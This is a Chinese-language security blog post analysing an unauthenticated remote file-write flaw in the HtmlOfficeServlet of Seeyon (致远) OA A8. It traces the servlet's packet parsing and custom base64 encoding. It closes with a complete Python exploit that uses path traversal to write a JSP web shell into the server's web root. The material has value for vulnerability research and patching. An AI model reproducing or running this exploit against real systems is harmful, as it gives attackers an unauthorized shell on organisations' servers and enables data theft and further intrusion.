致远OA A8 HtmlOfficeServlet前台GetShell 分析

  • A+
所属分类:安全文章


全文共计3127个字,预计阅读时长10分钟


这是一个历史漏洞了,前台即可getshell

下面开始漏洞分析

HtmlOfficeServlet


在web.xml下存在这么三个servlet,这三个servlet都是未授权的,其中我们重点关注下HtmlOfficeServlet

致远OA A8 HtmlOfficeServlet前台GetShell 分析

doGet方法一开始通过xml加载bean的形式,拿到实例化对象。


    
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        AppContext.initSystemEnvironmentContext(request, response);        HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager");        HtmlHandWriteManager htmlHandWriteManager = (HtmlHandWriteManager)AppContext.getBeanWithoutCache("htmlHandWriteManager");        iMsgServer2000 msgObj = new iMsgServer2000();          try {            handWriteManager.readVariant(request, msgObj); //对msgObj对象进行初始化配置                    ...            msgObj.SetMsgByName("CLIENTIP", Strings.getRemoteAddr(request)); // 获取CLIENTIP            String option = msgObj.GetMsgByName("OPTION"); // 获取OPTION,之后通过OPTION来判断执行什么操作。            if ("LOADFILE".equalsIgnoreCase(option)) {                    ...            } else if ("SAVEASIMG".equalsIgnoreCase(option)) { //重点注意这个SAVEASIMG的操作                String fileName = msgObj.GetMsgByName("FILENAME");                String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath();                String tempPath = tempFolder + "/base/upload/taohongTemp";                File folder = new File(tempPath);                if (!folder.exists()) {                    folder.mkdir();                }                msgObj.MsgFileSave(tempPath + "/" + fileName);            }            handWriteManager.sendPackage(response, msgObj);        } catch (Exception var11) {                    ...        }    }

这里我们先一步一步来看


保存文件


我们先来看看SAVEADIMG这个方法。可以看到首先从msgObj获取了文件名之后,直接拼接到了路径上,随后通过MsgFileSave方法来保存文件。

    public boolean MsgFileSave(String var1) {        try {            FileOutputStream var2 = new FileOutputStream(var1);            var2.write(this.FMsgFile);            var2.close();            return true;        } catch (Exception var3) {            this.FError = this.FError + var3.toString();            System.out.println(var3.toString());            return false;        }    }

我们可以看到,这里将FMsgFile写入进了文件里,但是这个FMsgFile又是从何而来,如果能够控制这个FMsgFile的内容,那么就可以写Shell了


初始化msgObj


首先进入

    public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {        msgObj.ReadPackage(request);        ....    }


先来看看这个,msgObj是如何从request中读取内容的,继续跟进ReadPackage方法,接着一路跟进到StreamToMsg方法

private boolean StreamToMsg() {        byte var2 = 64;        boolean var3 = false;        boolean var4 = false;        boolean var5 = false;        boolean var6 = false;        String var7 = "";        String var8 = "";        this.FMd5Error = false;        try {            byte var14 = 0;            String var1 = new String(this.FStream, var14, var2);            this.FVersion = var1.substring(0, 15); //均为15位,有一位的间隔。            int var11 = Integer.parseInt(var1.substring(16, 31).trim());             int var12 = Integer.parseInt(var1.substring(32, 47).trim());            int var13 = Integer.parseInt(var1.substring(48, 63).trim());            this.FFileSize = var13;            int var15 = var14 + var2; // 从64开始            if (var11 > 0) { //如果TextSize > 0 根据Size读取流中的Text部分的参数                this.FMsgText = new String(this.FStream, var15, var11);            }            var15 += var11;            if (var12 > 0) { // 如果ErrorSize > 0 根据Size读取流中的Error部分的参数                this.FError = new String(this.FStream, var15, var12);            }            var15 += var12;            this.FMsgFile = new byte[var13];            if (var13 > 0) {// 如果ErrorSize > 0 根据Size读取流中的File的内容                for(int var9 = 0; var9 < var13; ++var9) {                    this.FMsgFile[var9] = this.FStream[var9 + var15];                }                ...            }            return true;        } catch (Exception var10) {                ...        }


通过上面的分析,我们看样很清晰的了解到,msgObj是如何解析我们发过去的包。很类似文件存储的性质,首先划分一块地区,用于描述各个区块的Size,以及一些元信息。这里地区一共分为4类。


  • 版本号(元信息)

  • TextSize

  • ErrorSize

  • FileSize
    这三个Size用于之后对整个包进行一块一块的解析,并且获取到TextError,FileContent


逐个获取参数


那么理解了如何解析我们发过去的包之后,我们便可以接着初始化那一块往下看

public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {        msgObj.ReadPackage(request); //初始化        this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID")); // long型的RECORDID,从Text中获取        this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE"));// Date型的CREATEDATE,从Text中获取        String _originalFileId = msgObj.GetMsgByName("originalFileId"); // String型的RECORDID,从Text中获取        this.needClone = _originalFileId != null && !"".equals(_originalFileId.trim()); // 无所谓参数        this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile")); // Bool型        if (this.needClone) {            String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate");            this.originalFileId = Long.valueOf(_originalFileId);            this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate);        }    }

这里按照要求满足各个参数的类型即可!不然readVariant这个流程出错,自然走不到之后的流程.


那么我们接着而看如何获取msgObj中的参数的。继续跟进GetMsgByName方法。

public String GetMsgByName(String var1) {        boolean var2 = false;        boolean var3 = false;        String var4 = "";        String var6 = var1.trim().concat("=");        int var7 = this.FMsgText.indexOf(var6);        if (var7 != -1) {            int var8 = this.FMsgText.indexOf("rn", var7 + 1);            var7 += var6.length();            if (var8 != -1) {                String var5 = this.FMsgText.substring(var7, var8);                var4 = this.DecodeBase64(var5);                return var4;            } else {                return var4;            }        } else {            return var4;        }    }


这里的重点就是在以下两行

String var5 = this.FMsgText.substring(var7, var8);var4 = this.DecodeBase64(var5);

首先对我们的FMsgText进行一个截取,获取到右值。然后对右值进行一个base64的解密。跟进去一看发现是他自己实现的一个base64,其实就是相当于换了一个符号表而已。所以这里有两种办法,一个是将java代码转成python,或者使用python中的转化表做一个转化就行了

table = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"def b64str(s: str):    result = ""    var5 = 0    length = 0    charList = [ord(i) for i in s]    tempList = [0, 0, 0, 0]    while length < len(charList):        var5 = charList[length]        length += 1        tempList[0] = ((var5 & 252) >> 2)        tempList[1] = ((var5 & 3) << 4)        if length < len(charList):            var5 = charList[length]            length += 1            tempList[1] += ((var5 & 240) >> 4)            tempList[2] = ((var5 & 15) << 2)            if length < len(charList):                var5 = charList[length]                length += 1                tempList[2] = (tempList[2] + ((var5 & 192) >> 6))                tempList[3] = (var5 & 63)            else:                tempList[3] = 64        else:            tempList[2] = 64            tempList[3] = 64        # print(tempList)        for i in range(0, 4):            result += table[tempList[i]]    return result

使用转化表转化

def b64str(input: str):    RAW = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    CUSTOM = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"    transformer = input.maketrans(RAW, CUSTOM)    return base64.b64encode(input.encode()).decode().translate(transformer)

SAVEASIMG


整个readVariant完成之后,便从msgObj中获取OPTION然后根据OPTION来进行对应的操作

致远OA A8 HtmlOfficeServlet前台GetShell 分析


到这里整个分析就结束了.


exp


# -*- coding: utf-8 -*-""" PythonAuthor: MrkaixinDate: 2021-04-13 11:09FileName: zy_httpOfficeServletGetshell.py"""import base64import osimport stringfrom datetime import datetimeimport requestsdef b64str(input: str):    RAW = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="    CUSTOM = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"    transformer = input.maketrans(RAW, CUSTOM)    return base64.b64encode(input.encode()).decode().translate(transformer)# def b64str(s: str):#     result = ""#     var5 = 0#     length = 0#     charList = [ord(i) for i in s]#     tempList = [0, 0, 0, 0]#     while length < len(charList):#         var5 = charList[length]#         length += 1#         tempList[0] = ((var5 & 252) >> 2)#         tempList[1] = ((var5 & 3) << 4)#         if length < len(charList):#             var5 = charList[length]#             length += 1#             tempList[1] += ((var5 & 240) >> 4)#             tempList[2] = ((var5 & 15) << 2)#             if length < len(charList):#                 var5 = charList[length]#                 length += 1#                 tempList[2] = (tempList[2] + ((var5 & 192) >> 6))#                 tempList[3] = (var5 & 63)#             else:#                 tempList[3] = 64#         else:#             tempList[2] = 64#             tempList[3] = 64#         # print(tempList)#         for i in range(0, 4):#             result += table[tempList[i]]#     return resultdef request():    print("[+] 该网站可能存在漏洞")    payload = GetPayload()    f = open(os.getcwd() + "/src/mrkaixin.jsp", encoding='gbk').read()    fLen = len(f)    version = "1" * 15  # 15位    fileSize = "%016d" % fLen  # 15位    error = "%016d" % 0  # 16位    textSize = "%016d" % len(payload)    Prefix = f"{version}{textSize}{error}{fileSize}"    # Prefix = "DBSTEP V3.0     355             0               666             DBSTEP=OKMLlKlV"    r = requests.get(url, data=Prefix + " " + payload + f, proxies=proxies)    ShellPath = url.split("htmlofficeservlet")[0] + "/bx.jsp"    print("[+] 已发送Payload 请查收Shell: " + ShellPath)    # print(r.content)def check():    proxies = {        "http": "http://127.0.0.1:8080",        "https": "http://127.0.0.1:8080",    }    session = requests.Session()    headers = {"Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}    response = session.get(url, headers=headers, proxies=proxies)    if response.text.find("DBSTEP") != -1:        return True    return Falsedef GetPayload():    payload = "OPTION={}@".format(b64str('SAVEASIMG'))    payload += "FILENAME={}@".format(b64str('../../../ApacheJetspeed/webapps/ROOT/bx.jsp'))  # 文件名可以改    payload += "RECORDID={}@".format(b64str("11111111"))    payload += "createDate={}@".format(b64str(datetime.now().strftime("%y-%m-%d %H:%M:%S")))    payload += "originalFileId={}@".format(b64str("1111"))    payload += "needClone={}@".format(b64str("test"))    payload += "needReadFile={}@".format(b64str("true"))  # 别改    payload += "originalCreateDate={}@".format(b64str("11111"))    return payload.replace("@", "rn")def main():    result = request() if check() == True else Noneif __name__ == '__main__':    url = "http://192.168.14.132/seeyon/htmlofficeservlet"    proxies = {        "http": "http://127.0.0.1:8080",        "https": "http://127.0.0.1:8080",    }    main()


PS: 求近两年HW java相关的oa、cms等源码,后续分析一波! 谢谢师傅


                            喜欢这篇文章,点个👍再走吧



本文始发于微信公众号(黑伞攻防实验室):致远OA A8 HtmlOfficeServlet前台GetShell 分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: